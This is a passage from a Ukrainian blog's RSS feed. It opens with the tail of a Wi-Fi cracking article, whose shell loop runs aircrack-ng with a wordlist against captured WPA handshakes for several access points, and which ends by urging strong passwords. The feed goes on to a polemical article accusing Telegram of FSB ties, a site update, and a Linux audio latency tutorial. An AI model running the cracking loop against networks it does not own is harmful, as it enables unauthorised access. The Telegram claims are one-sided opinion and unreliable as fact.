&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; class=&#34;chroma&#34;&gt;&lt;code class=&#34;language-sh&#34; data-lang=&#34;sh&#34;&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;&lt;span class=&#34;cp&#34;&gt;#!/bin/sh
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;&lt;span class=&#34;cp&#34;&gt;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;&lt;span class=&#34;nv&#34;&gt;wordlist&lt;/span&gt;&lt;span class=&#34;o&#34;&gt;=&lt;/span&gt;&lt;span class=&#34;s2&#34;&gt;&amp;#34;../word&amp;#34;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;&lt;span class=&#34;nv&#34;&gt;cap&lt;/span&gt;&lt;span class=&#34;o&#34;&gt;=&lt;/span&gt;&lt;span class=&#34;s2&#34;&gt;&amp;#34;lmao-03.cap&amp;#34;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;&lt;span class=&#34;k&#34;&gt;for&lt;/span&gt; i in &lt;span class=&#34;se&#34;&gt;\
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;&lt;span class=&#34;se&#34;&gt;&lt;/span&gt;	&lt;span class=&#34;c1&#34;&gt;# 35:2A:44:61:B7:09 \&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;	&lt;span class=&#34;c1&#34;&gt;# ... \&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;	&lt;span class=&#34;c1&#34;&gt;# 45:3A:47:61:B7:09 коротше адреси тут пишете&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;&lt;span class=&#34;k&#34;&gt;do&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;	aircrack-ng -b &lt;span class=&#34;nv&#34;&gt;$i&lt;/span&gt; &lt;span class=&#34;s2&#34;&gt;&amp;#34;&lt;/span&gt;&lt;span class=&#34;nv&#34;&gt;$cap&lt;/span&gt;&lt;span class=&#34;s2&#34;&gt;&amp;#34;&lt;/span&gt; -w &lt;span class=&#34;s2&#34;&gt;&amp;#34;&lt;/span&gt;&lt;span class=&#34;nv&#34;&gt;$wordlist&lt;/span&gt;&lt;span class=&#34;s2&#34;&gt;&amp;#34;&lt;/span&gt; -l &lt;span class=&#34;s2&#34;&gt;&amp;#34;&lt;/span&gt;&lt;span class=&#34;nv&#34;&gt;$i&lt;/span&gt;&lt;span class=&#34;s2&#34;&gt;.key&amp;#34;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;&lt;span class=&#34;k&#34;&gt;done&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;h2 id=&#34;висновки-та-посилання&#34;&gt;Висновки та посилання&lt;/h2&gt;
&lt;p&gt;Тепер усім ясно, чому
потрібно встановити добрий пароль
для своєї безпровідної мережі.
Можна згенерувати його за
допомогою &lt;a href=&#34;https://miliukhin.xyz/articles/password_managers/&#34;&gt;менеджера паролів&lt;/a&gt;
і, можливо, про всяк випадок, переписати.
Має бути не менше 20 випадкових символів
або потужна фраза з вигаданих слів та ще більшою кількістю символів.&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;a href=&#34;https://aircrack-ng.org/doku.php?id=aircrack-ng&#34;&gt;https://aircrack-ng.org/doku.php?id=aircrack-ng&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&#34;https://aircrack-ng.org/doku.php?id=airodump-ng&#34;&gt;https://aircrack-ng.org/doku.php?id=airodump-ng&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&#34;https://www.aircrack-ng.org/doku.php?id=cracking_wpa&#34;&gt;https://www.aircrack-ng.org/doku.php?id=cracking_wpa&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&#34;https://en.wikipedia.org/wiki/List_of_WLAN_channels&#34;&gt;https://en.wikipedia.org/wiki/List_of_WLAN_channels&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;
</description>
	</item>
	
	<item>
		<title>Telegram пропіканий 😱</title>
		<link>https://miliukhin.xyz/articles/telegram/</link>
		<pubDate>Sun, 10 Sep 2023 02:42:19 +0300</pubDate>
		
		<guid>https://miliukhin.xyz/articles/telegram/</guid>
		<description>&lt;p&gt;Телеграм пропіканий. Нема змісту використовувати пропіканий сервіс для комунікацій,
коли є рішення, які поважають вашу приватність і свободу &amp;mdash;
XMPP та Matrix.&lt;/p&gt;
&lt;p&gt;Можете подивитись відеоверсію статті:&lt;/p&gt;
&lt;iframe src=&#34;https://youtube.com/embed/_VTbVZy6Tp8&#34;
        loading=&#34;lazy&#34;
        sandbox=&#34;allow-same-origin allow-scripts allow-popups&#34;
        allowfullscreen frameborder=&#34;0&#34;
        title=&#34;Embedded Video&#34;&gt;
&lt;/iframe&gt;

&lt;h2 id=&#34;дірявий-дизайн-telegram&#34;&gt;Дірявий дизайн Telegram&lt;/h2&gt;
&lt;h3 id=&#34;відсутність-анонімністі&#34;&gt;Відсутність анонімністі&lt;/h3&gt;
&lt;p&gt;Алло, ви даєте йому свій номер телефону, яка анонімність? А ще він логує IP-адреси
та збирає геолокаційні дані, має доступ до камери та мікрофона.&lt;/p&gt;
&lt;h3 id=&#34;ніякої-приватності&#34;&gt;Ніякої приватності&lt;/h3&gt;
&lt;p&gt;Телеграм сканує всі ваші повідомлення.&lt;/p&gt;
&lt;p&gt;Скрізного шифрування в чатах немає. Паша Дуров каже, що ніби є
в &amp;ldquo;секретних чатах&amp;rdquo;, але вони:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;доступні тільки на одному пристрої&lt;/li&gt;
&lt;li&gt;тільки на телефоні&lt;/li&gt;
&lt;li&gt;тільки 1 на 1&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;Через ці незручності ніхто не пише в цих &amp;ldquo;секретних&amp;rdquo; чатах.
За замовчуванням використовується &amp;ldquo;хмарне шифрування&amp;rdquo;,
за якого ключі для розшифрування повідомлень зберігаються на серверах Telegram.
Тому можна вважати всі повідомлення скомпрометованими.&lt;/p&gt;
&lt;p&gt;А ще Telegram використовує власний алгоритм шифрування, а це погано. У криптографії
є загальне правило: &lt;strong&gt;don&amp;rsquo;t roll your own,&lt;/strong&gt; тобто не мутіть своє, коли є перевірені та
точно безпечні алгоритми. Ну а телеграму пофіг, &lt;strong&gt;чи це насправді, щоб додати бекдор у шифрування&lt;/strong&gt;?&lt;/p&gt;
&lt;h3 id=&#34;московськість&#34;&gt;Московськість&lt;/h3&gt;
&lt;p&gt;Отже, усі ключі для розшифрування повідомлень зберігаються
на серверах, які належать москалям, які співпрацюють з ФСБ.
Інакше б російська влада забанила Telegram. Але вона цього не зробила (дивіться нижче).
А знаєте, хто забанив його? ЗСУ та уряд США 🤔 (а ще ЦРУ).
Досить вагома причина видалити Telegram і користуватись XMPP.&lt;/p&gt;
&lt;p&gt;Взагалі Паша Дуров ділиться з урядами &lt;strong&gt;всіх&lt;/strong&gt; країн всіма подробицями життя користувачів тележки, особливо, коли ці уряди садять його за ґратки.&lt;/p&gt;
&lt;h3 id=&#34;ммм&#34;&gt;МММ&lt;/h3&gt;
&lt;p&gt;Паша дуров не виплатив хомяка. Вот і сказочке конец, а кто тапал &amp;mdash; холодец.&lt;/p&gt;
&lt;h3 id=&#34;це-кажу-не-тільки-я&#34;&gt;Це кажу не тільки я&lt;/h3&gt;
&lt;ul&gt;
&lt;li&gt;&lt;a href=&#34;https://www.kremlingram.org/ua&#34;&gt;https://www.kremlingram.org/ua&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&#34;https://www.securitylab.ru/news/530561.php&#34;&gt;співпраця з ФСБ&lt;/a&gt; &lt;a href=&#34;https://web.archive.org/web/20220514171701/https://www.securitylab.ru/news/530561.php&#34;&gt;архів&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&#34;https://foresle.github.io/forblog.live/posts/articles/d1dd662735874a70af8d571a4c064cec/&#34;&gt;Ще базована стаття&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&#34;https://hate.tg/&#34;&gt;https://hate.tg/&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;h2 id=&#34;цікаві-моменти-з-історії-месенджера&#34;&gt;&lt;a href=&#34;https://t.me/black_triangle_tg/4051&#34;&gt;Цікаві моменти з історії месенджера&lt;/a&gt;&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;2013 рік: Telegram пообіцяв &amp;ldquo;незабаром&amp;rdquo; &lt;a href=&#34;http://web.archive.org/web/20150905224928/https://telegram.org/faq&#34;&gt;відкрити вихідний код своїх серверів&lt;/a&gt; - &lt;strong&gt;код не випущений досі&lt;/strong&gt;.&lt;/li&gt;
&lt;li&gt;Грудень 2020: Telegram оголошує &lt;a href=&#34;https://t.me/black_triangle_tg/1077&#34;&gt;впровадження реклами та платних підписок&lt;/a&gt; - раніше обіцяли, що Telegram буде &lt;a href=&#34;http://web.archive.org/web/20150905224928/https://telegram.org/faq#q-how-is-telegram-different-from-whatsapp&#34;&gt;без реклами, без абонентської плати, назавжди&lt;/a&gt;.&lt;/li&gt;
&lt;li&gt;Березень 2021: Fedora та Gentoo відмовилися від супроводу пакетів з Telegram Desktop через &lt;a href=&#34;https://t.me/black_triangle_tg/1221&#34;&gt;хамство розробників месенджера&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;Вересень 2021: Telegram &lt;a href=&#34;https://www.kommersant.ru/doc/4995148&#34;&gt;заблокував&lt;/a&gt; бот «Розумного голосування» в РФ&lt;/li&gt;
&lt;li&gt;Грудень 2021: Засновник Signal назвав Telegram &lt;a href=&#34;https://t.me/black_triangle_tg/2013&#34;&gt;найгіршим месенджером&lt;/a&gt; з точки зору конфіденційності&lt;/li&gt;
&lt;li&gt;Лютий 2022: Telegram &lt;a href=&#34;https://t.me/black_triangle_tg/2114&#34;&gt;блокує&lt;/a&gt; 64 канали присвячені COVID протестам на вимогу влади&lt;/li&gt;
&lt;li&gt;Березень 2022: Заступник голови комітету з інформаційної політики, інформаційних технологій та зв&amp;rsquo;язку РФ &lt;a href=&#34;https://t.me/black_triangle_tg/2241&#34;&gt;заявляє&lt;/a&gt;, ЩО &lt;em&gt;&lt;strong&gt;ФСБ разом з Дуровим дійшли компромісу&amp;hellip; Telegram встановив обладнання для відстеження небезпечних суб&amp;rsquo;єктів і відповідає на запити в рамках оперативних заходів.&lt;/strong&gt;&lt;/em&gt;&lt;/li&gt;
&lt;li&gt;Березень 2022: Telegram &lt;a href=&#34;https://t.me/black_triangle_tg/2272&#34;&gt;блокує&lt;/a&gt; канали опозиції у Бразилії&lt;/li&gt;
&lt;li&gt;Травень 2022: Telegram &lt;a href=&#34;https://t.me/black_triangle_tg/2535&#34;&gt;підміняє&lt;/a&gt; визначення слова «безкоштовний»&lt;/li&gt;
&lt;li&gt;Червень 2022: Telegram &lt;a href=&#34;https://t.me/black_triangle_tg/2558&#34;&gt;передає&lt;/a&gt; дані користувачів 3000 каналів та груп силовикам Німеччини&lt;/li&gt;
&lt;li&gt;Червень 2022: Telegram &lt;a href=&#34;https://t.me/black_triangle_tg/2606&#34;&gt;вводить&lt;/a&gt; &amp;ldquo;чати для платних&amp;rdquo;&lt;/li&gt;
&lt;li&gt;Червень 2022: Telegram &lt;a href=&#34;https://t.me/black_triangle_tg/2611&#34;&gt;передає&lt;/a&gt; дані користувачів у Google&lt;/li&gt;
&lt;li&gt;Серпень 2022: Telegram &lt;a href=&#34;https://t.me/black_triangle_tg/2833&#34;&gt;відбирає&lt;/a&gt; у користувачів юзернейми та продає з аукціону&lt;/li&gt;
&lt;li&gt;Вересень 2022: Telegram &lt;a href=&#34;https://t.me/black_triangle_tg/2943&#34;&gt;вводить посилання&lt;/a&gt;, які порушують конфіденційність користувачів&lt;/li&gt;
&lt;li&gt;Листопад 2022: Telegram &lt;a href=&#34;https://t.me/black_triangle_tg/3178&#34;&gt;передав дані&lt;/a&gt; індійських піратів поліції&lt;/li&gt;
&lt;li&gt;Жовтень 2022: Telegram &lt;a href=&#34;https://t.me/black_triangle_tg/3019&#34;&gt;здав&lt;/a&gt; 545 піратських каналів та їх адміністраторів поліції Італії&lt;/li&gt;
&lt;li&gt;Жовтень 2022: Telegram почав &lt;a href=&#34;https://t.me/black_triangle_tg/3028&#34;&gt;обмежувати&lt;/a&gt; у функціоналі безкоштовні акаунти&lt;/li&gt;
&lt;li&gt;Лютий 2023: Telegram &lt;a href=&#34;https://t.me/black_triangle_tg/3402&#34;&gt;обмежує&lt;/a&gt; у функціоналі неофіційні клієнти&lt;/li&gt;
&lt;li&gt;Лютий 2023: Голова WhatsApp &lt;a href=&#34;https://t.me/black_triangle_tg/3414&#34;&gt;закликає&lt;/a&gt;: &lt;em&gt;&amp;ldquo;Використовуйте будь-що, тільки не Telegram&amp;rdquo;&lt;/em&gt;&lt;/li&gt;
&lt;li&gt;Травень 2023: Telegram &lt;a href=&#34;https://t.me/black_triangle_tg/3711&#34;&gt;заборонено&lt;/a&gt; на урядових пристроях США&lt;/li&gt;
&lt;li&gt;Липень 2023: Реклама в Telegram &lt;a href=&#34;https://t.me/black_triangle_tg/3914&#34;&gt;стає цілеспрямованою та персоналізованою&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;Серпень 2023: Telegram &lt;a href=&#34;https://incrussia.ru/news/iraq-telegram/&#34;&gt;блокує&lt;/a&gt; опозиційні канали Іраку&lt;/li&gt;
&lt;li&gt;&lt;em&gt;&lt;strong&gt;Восени 2023 року Telegram із МТС нарешті запровадили рекламу за номером телефону!&lt;/strong&gt;&lt;/em&gt; Чекаю тепер такого з Київстар!&lt;/li&gt;
&lt;/ul&gt;
&lt;h2 id=&#34;проблеми-з-масивними-централізованими-мережами&#34;&gt;Проблеми з масивними централізованими мережами&lt;/h2&gt;
&lt;p&gt;Звісно, Telegram &amp;mdash; не єдиний такий паскудний, і це все
випливає з того, що маючи успішний багатокористувацький
сервіс, будь-хто перестає думати про користувачів (якщо
взагалі думав до цього) і рухається повністю за власною хіттю.
Як наслідок, вони:&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;Вводять рекламу та різні методи шпигування за користувачами.&lt;/li&gt;
&lt;li&gt;Пробивають ногою вашу приватність.&lt;/li&gt;
&lt;li&gt;Цензурують &amp;ldquo;неприйнятні&amp;rdquo; матеріали і співпрацюють із тоталітарними режимами.&lt;/li&gt;
&lt;/ol&gt;
&lt;p&gt;Я вже не кажу, що закритий вихідний код штинить багами та
вразливостями, а ще потом працівників, які самі не знають,
нащо їм рекламний банер у списку чатів.&lt;/p&gt;
&lt;h2 id=&#34;рішення--децентралізація-xmpp-й-matrix&#34;&gt;Рішення &amp;mdash; децентралізація (XMPP й Matrix)&lt;/h2&gt;
&lt;dl&gt;
&lt;dt&gt;Чому не попсовий Signal?&lt;/dt&gt;
&lt;dd&gt;Хто рекомендує Signal як альтернативу Telegram, не розуміє чи не
переймається, що Signal теж централізований, і всі проблеми Telegram-у в
майбутньому виявляться й у Signal. Тому краще зразу переходити на базовані
децентралізовані технології. На щастя, такі вже давно існують і широко
застосовуються &amp;mdash; це протоколи &lt;strong&gt;Matrix та XMPP&lt;/strong&gt;.&lt;/dd&gt;
&lt;/dl&gt;
&lt;p style=&#34;font-weight:bold; background: var(--color0); font-family: monospace; font-size: 20pt; text-align: center;&#34;&gt;
&lt;a href=&#34;../matrix_and_xmpp&#34;&gt;-&gt; Matrix та XMPP на пальцях &lt;-&lt;/a&gt;
&lt;/p&gt;
</description>
	</item>
	
	<item>
		<title>Я запроваджую тут стрімінговий сервіс</title>
		<link>https://miliukhin.xyz/updates/audio_stream/</link>
		<pubDate>Mon, 28 Aug 2023 03:08:21 +0300</pubDate>
		
		<guid>https://miliukhin.xyz/updates/audio_stream/</guid>
		<description>&lt;p&gt;Це було незручно, але тепер ви можете попросити
мене розмістити свою музику тут, і, якщо вона мені
сподобається, то хтось буде її слухати
весь день, бо крім неї ніц нема.&lt;/p&gt;
&lt;h2 id=&#34;розширення-радіо&#34;&gt;Розширення радіо&lt;/h2&gt;
&lt;p&gt;Надсилайте мені файли, і я
додам їх до списку відтворення.
&lt;strong&gt;Обов&amp;rsquo;язково пишіть, якщо маєте рок/метал!!!&lt;/strong&gt;
Не забудьте встановити теги &lt;code&gt;Artist&lt;/code&gt; і &lt;code&gt;Title&lt;/code&gt;, інакше під час програвання буде відображатись
назва файлу та випадковий автор.&lt;/p&gt;
</description>
	</item>
	
	<item>
		<title>Зменшення затримки звуку для музик у Linux (JACK,  PipeWire)</title>
		<link>https://miliukhin.xyz/articles/latency/</link>
		<pubDate>Wed, 16 Aug 2023 17:56:00 +0200</pubDate>
		
		<guid>https://miliukhin.xyz/articles/latency/</guid>
		<description>&lt;p&gt;Затримка &amp;mdash; найнеприємніша річ у грі на гітарі через комп&amp;rsquo;ютер. Всіх вона бісить. Тому зараз ми розберемося, звідки береться затримка і що з нею робити.&lt;/p&gt;
&lt;h2 id=&#34;i-апаратне-перехитрування-затримки&#34;&gt;I. Апаратне перехитрування затримки&lt;/h2&gt;
&lt;p&gt;Якщо ви маєте підсилювач та інше потрібне обладнання і
хочете записати партію, а потім зробити реампінг чи додати ще якісь ефекти, то
ви можете розділити сигнал (використавши чи подвійний кабель, чи ABY-педаль або просту вилку на два JACK-и, чи
самостійно спаяти розгалужувач), і один вивід записувати на комп&amp;rsquo;ютері, а
інший обробити через свою апаратуру та слухати. Так зручніше.&lt;/p&gt;
&lt;p&gt;Але якщо ви замінили все гітарне обладнання комп&amp;rsquo;ютером, то прийдеться боротися
з затримкою, що я й описуватиму нижче.&lt;/p&gt;
&lt;p&gt;Далі про те, як узагалі відбувається обробка й від чого затримка, бо я свого
часу хотів це знати і не мав простого пояснення. Якщо вам то не цікаво, можете
перейти до &lt;a href=&#34;https://miliukhin.xyz/articles/latency/#mitigation&#34;&gt;цієї секції&lt;/a&gt;.&lt;/p&gt;
&lt;h2 id=&#34;рахуємо-затримку&#34;&gt;Рахуємо затримку&lt;/h2&gt;
&lt;p&gt;Під час оцифровування з неперервної звукової хвилі з фіксованим інтервалом
зберігають &lt;em&gt;&lt;strong&gt;значення її амплітуди &amp;mdash; семпл (зразок)&lt;/strong&gt;&lt;/em&gt;. Таке перетворення сигналу
називається
&lt;em&gt;&lt;strong&gt;дискретизацією&lt;/strong&gt;&lt;/em&gt;.
Найчастіше в комп&amp;rsquo;ютерному аудіо використовується частота дискретизації 48 кГц
(48000 семплів на секунду).&lt;/p&gt;

&lt;figure
	class=&#34;right&#34; style=&#34;max-width: 300px;&#34;&gt;
		&lt;img src=&#34;sampling.webp&#34; width=&#34;300px&#34;&gt;&lt;figcaption&gt;зразки (семпли) беруть через однаковий час&lt;/figcaption&gt;&lt;/figure&gt;

&lt;dl&gt;
&lt;dt&gt;Кадр&lt;/dt&gt;
&lt;dd&gt;це розмір семплу (в байтах), помножений на кількість каналів аудіо (у стерео 2 канали, в моно &amp;mdash; 1).&lt;/dd&gt;
&lt;dd&gt;Наприклад, для стереосистеми, 16-біт, 44.1 кГц, маємо семпл 16 бітів &amp;mdash; 2 байти, тож кадр буде &lt;code&gt;2*2=4&lt;/code&gt; (байти).&lt;/dd&gt;
&lt;dt&gt;Період&lt;/dt&gt;
&lt;dd&gt;кількість кадрів між кожним апаратним перериванням.&lt;/dd&gt;
&lt;/dl&gt;
&lt;p&gt;Більше про це &lt;a href=&#34;https://www.alsa-project.org/main/index.php/FramesPeriods&#34;&gt;тут&lt;/a&gt; і за посиланнями в кінці сторінки.&lt;/p&gt;
&lt;h3 id=&#34;затримка-у-процесі-захоплення&#34;&gt;Затримка у процесі захоплення &lt;sup id=&#34;fnref:1&#34;&gt;&lt;a href=&#34;#fn:1&#34; class=&#34;footnote-ref&#34; role=&#34;doc-noteref&#34;&gt;1&lt;/a&gt;&lt;/sup&gt;&lt;/h3&gt;
&lt;blockquote&gt;
&lt;p&gt;Lc = n / f&lt;/p&gt;
&lt;/blockquote&gt;
&lt;ul&gt;
&lt;li&gt;&lt;em&gt;Lc&lt;/em&gt; &amp;mdash; затримка захоплення (мс),&lt;/li&gt;
&lt;li&gt;&lt;em&gt;n&lt;/em&gt; &amp;mdash; розмір буфера (розмір періоду * кількість періодів, наприклад, 2
періоди по 1024 кадри дадуть розмір буфера 2048),&lt;/li&gt;
&lt;li&gt;&lt;em&gt;f&lt;/em&gt; &amp;mdash; частота дискретизації (sample rate) в кілогерцах (кГц).&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;Затримка програвання зважає ще на кількість періодів &lt;em&gt;p&lt;/em&gt;:&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;Lp = n * p / f&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;Наприклад, ми обрали розмір буфера &lt;em&gt;n=256&lt;/em&gt;, періодів &lt;em&gt;p=2&lt;/em&gt;, і частота дискретизації &lt;em&gt;f=48&lt;/em&gt; кГц:&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;Lc = 256/48=5.(3), Lp = 256 * 2/48=10.(6), тоді &lt;strong&gt;весь час затримки буде дорівнювати 16 мс&lt;/strong&gt;&lt;/p&gt;
&lt;/blockquote&gt;
&lt;h3 id=&#34;що-за-буфер&#34;&gt;Що за буфер?&lt;/h3&gt;
&lt;p&gt;Мова про &lt;a href=&#34;https://en.wikipedia.org/wiki/Circular_buffer&#34;&gt;циклічний (кільцевий) буфер&lt;/a&gt;.
Це структура даних, яка якраз тут використовується.&lt;/p&gt;

&lt;figure
	class=&#34;right&#34; style=&#34;max-width: 300px;&#34;&gt;
		&lt;img src=&#34;Circular_Buffer_Animation.gif&#34; width=&#34;300px&#34;&gt;&lt;figcaption&gt;Джерело: вікіпедія&lt;/figcaption&gt;&lt;/figure&gt;

&lt;p&gt;Уявіть кільце, поділене на сегменти, в які ми записуємо або з яких читаємо дані
&lt;em&gt;&lt;strong&gt;по колу&lt;/strong&gt;&lt;/em&gt; (&lt;em&gt;як у перегонах, можна уявити, що одне авто замальовує сектори
на замкненій дорозі, а інше фотографує їх&lt;/em&gt;). Очевидно, коли ми запишемо дані у
всі сегменти, то повернемось на &lt;strong&gt;початок&lt;/strong&gt; і будемо &lt;em&gt;&lt;strong&gt;перезаписувати старі
сектори&lt;/strong&gt;&lt;/em&gt;.&lt;/p&gt;
&lt;p&gt;Повернімося до наших авто &amp;mdash; якщо фотограф малюнків не встигатиме за
художником, то він не збереже всі малюнки, адже авто, яке малює, просто
перемалює деякі з них до того, як вони будуть зняті. &lt;em&gt;Іншими словами, вказівник
запису обжене вказівник зчитування, тому встигатиме переписати сегменти до
того, як вони будуть зчитані.&lt;/em&gt; Так само, якщо запис відстане від читання, то
теж будуть глюки, бо не буде, що читати.&lt;/p&gt;
&lt;p&gt;Отже, чим менший розмір буфера, тим більший ризик такої фігні,
але й менше часу витрачається на прохід одного кола, тому затримка сигналу менша.&lt;/p&gt;
&lt;h2 id=&#34;mitigation&#34;&gt;II. Зменшуєм затримку програмно&lt;/h2&gt;
&lt;p&gt;&lt;strong&gt;Тепер ми знаємо, що для скорочення затримки нам потрібно зменшити розмір
буфера та збільшити частоту дискретизації так, щоб при цьому не виникало
X-run-ів.&lt;/strong&gt;&lt;/p&gt;
&lt;dl&gt;
&lt;dt&gt;&lt;a href=&#34;https://alsa.opensrc.org/Xruns&#34;&gt;X-run&lt;/a&gt;&lt;/dt&gt;
&lt;dd&gt;скорочення від buffer over- або underrun, тобто пере- або недоповнення буферу.
тобто програма не встигла або обробити дані з буферу, або надіслати їх у буфер.
&lt;strong&gt;Вони звучать як різка просадка звуку (ляскання, клацання, тріск), та їх, очевидно, варто уникати.&lt;/strong&gt;&lt;/dd&gt;
&lt;/dl&gt;
&lt;p&gt;Сучасні аудіоінтерфейси можуть працювати на високих частотах (до 192 Гц), і це,
як бачимо, зручно, хоча варто зважати, що &lt;strong&gt;деякі плагіни/програми не працюють
на певних частотах дискретизації, тому якщо щось не працює, повертайте, як було
(зазвичай 41 чи 48 кГц).&lt;/strong&gt; Також, очевидно, чим менша затримка звуку, тим
більше енергії витрачається на його обробку.&lt;/p&gt;
&lt;p&gt;Налаштувати все можна, наприклад, у конфігураційному файлі PipeWire:&lt;/p&gt;
&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; class=&#34;chroma&#34;&gt;&lt;code class=&#34;language-sh&#34; data-lang=&#34;sh&#34;&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;    default.clock.rate          &lt;span class=&#34;o&#34;&gt;=&lt;/span&gt; значення &lt;span class=&#34;c1&#34;&gt;# частота дискретизації (44100, 48000, 96000, 192000)&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;    default.clock.quantum       &lt;span class=&#34;o&#34;&gt;=&lt;/span&gt; значення &lt;span class=&#34;c1&#34;&gt;# розмір буфера (..., 1024, 512, 256, 128, ..., 16, 8)&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;У графічних програмах зазвичай легко знайти потрібні кнопки &lt;strong&gt;&lt;code&gt;buffer (buffer size, frames/period)&lt;/code&gt;&lt;/strong&gt; та &lt;strong&gt;&lt;code&gt;sample rate&lt;/code&gt;&lt;/strong&gt;.&lt;/p&gt;

&lt;figure
	class=&#34;center&#34; style=&#34;max-width: 500px;&#34;&gt;
		&lt;img src=&#34;qj.webp&#34; width=&#34;500px&#34;&gt;&lt;figcaption&gt;Бачимо, у Qjackctl можна налаштувати окремо кількість періодів у буфері й розмір періода&lt;/figcaption&gt;&lt;/figure&gt;

&lt;p&gt;Мої експерименти показали, що розмір буфера 64 і нижче за частоти 96 кГц уже файно.
128 ще відчувається конкретно.&lt;/p&gt;
&lt;h2 id=&#34;що-ще-можна-зробити&#34;&gt;Що ще можна зробити?&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;Можна спробувати &lt;em&gt;ядро &amp;ldquo;low latency&amp;rdquo; (чи realtime, забув). Але в більшості
випадків воно не потрібне&lt;/em&gt;. Можете також використовувати збірку, де все вже
чудово налаштоване, наприклад, із перелічених &lt;a href=&#34;../computer_guitar&#34;&gt;тут&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;Також варто встановити пакунок &lt;strong&gt;&lt;code&gt;realtime-privileges&lt;/code&gt;&lt;/strong&gt; в Арчі й додати
свого користувача до групи &lt;code&gt;realtime&lt;/code&gt;.&lt;/li&gt;
&lt;li&gt;Повід&amp;rsquo;єднувати різні пристрої (так, юсб, відеокарти, будь-що). Чим менше
переривань відбувається, тим більше у процесора ресурсів для обробки звуку.
Заміна HDD на SSD та відмова від шифрування диску ніби теж може допомогти,
але якщо комп&amp;rsquo;ютер не суто для роботи з аудіо, то все-таки я б пожертвував
швидкістю обробки звуку на користь захисту даних.&lt;/li&gt;
&lt;/ul&gt;
&lt;h2 id=&#34;корисно-почитати&#34;&gt;Корисно почитати&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;&lt;a href=&#34;https://wiki.linuxaudio.org/wiki/system_configuration&#34;&gt;https://wiki.linuxaudio.org/wiki/system_configuration&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&#34;https://wiki.archlinux.org/title/JACK_Audio_Connection_Kit&#34;&gt;https://wiki.archlinux.org/title/JACK_Audio_Connection_Kit&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&#34;https://wiki.archlinux.org/title/Realtime_process_management&#34;&gt;https://wiki.archlinux.org/title/Realtime_process_management&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&#34;https://youtube.com/watch?v=GUsLLEkswzE&#34;&gt;https://youtube.com/watch?v=GUsLLEkswzE&lt;/a&gt; кльове відео&lt;/li&gt;
&lt;li&gt;&lt;a href=&#34;https://developer.mozilla.org/en-US/docs/Web/Media/Formats/Audio_concepts&#34;&gt;https://developer.mozilla.org/en-US/docs/Web/Media/Formats/Audio_concepts&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&#34;https://wiki.linuxaudio.org/wiki/jack_latency_tests#%23measuring_roundtrip_latency_with_jack_delay&#34;&gt;вимірювання затримки&lt;/a&gt; (для нердів).&lt;/li&gt;
&lt;li&gt;&lt;a href=&#34;https://treefallsound.com/wiki/doku.php?id=performance_tests&#34;&gt;https://treefallsound.com/wiki/doku.php?id=performance_tests&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;
